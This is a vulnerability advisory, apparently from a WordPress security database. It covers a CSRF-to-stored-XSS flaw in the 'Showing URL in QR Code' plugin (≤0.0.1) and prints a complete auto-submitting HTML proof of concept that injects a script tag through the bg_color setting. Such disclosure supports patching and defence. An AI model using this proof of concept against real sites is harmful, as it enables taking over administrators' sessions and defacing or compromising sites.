Showing URL in QR Code <= 0.0.1 - Stored XSS via CSRF

2022-11-0300:00:00

Kunal Sharma

wordpress-site

csrf

stored xss

qr code

admin

EPSS

0.001

Percentile

30.3%

JSON

The plugin does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin or editor add Stored XSS payloads via a CSRF attack

Make a logged in editor or admin open a page with the below payload

<html><form enctype="multipart/form-data" method="POST" action="https://<WordPress-Site>/wp-admin/admin.php?page=my-unique-qr-code" id="csrfpoc"><table><tr><td>checkbox-nested-2</td><td><input type="text" value="on" name="checkbox-nested-2"></td></tr>
<tr><td>bg_color</td><td><input type="text" value="&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;script&gt;alert(/XSS/)&lt;/script&gt;" name="bg_color" size="40"></td></tr>
<tr><td>colorDark</td><td><input type="text" value="#000000" name="colorDark"></td></tr>
<tr><td>colorLight</td><td><input type="text" value="#ffffff" name="colorLight"></td></tr>
<tr><td>width</td><td><input type="text" value="200" name="width"></td></tr>
<tr><td>height</td><td><input type="text" value="200" name="height"></td></tr>
<tr><td>urlinqrcoed-submit</td><td><input type="text" value="Save" name="urlinqrcoed-submit"></td></tr>
</table></form><script>csrfpoc.submit()</script></html>

References

bulletin.iese.de/post/get-site-to-phone-by-qr-code_0-0-1/

EPSS

0.001

Percentile

30.3%

JSON

Related for WPEX-ID:A70AD549-2E09-44FB-B894-4271AD4A84F6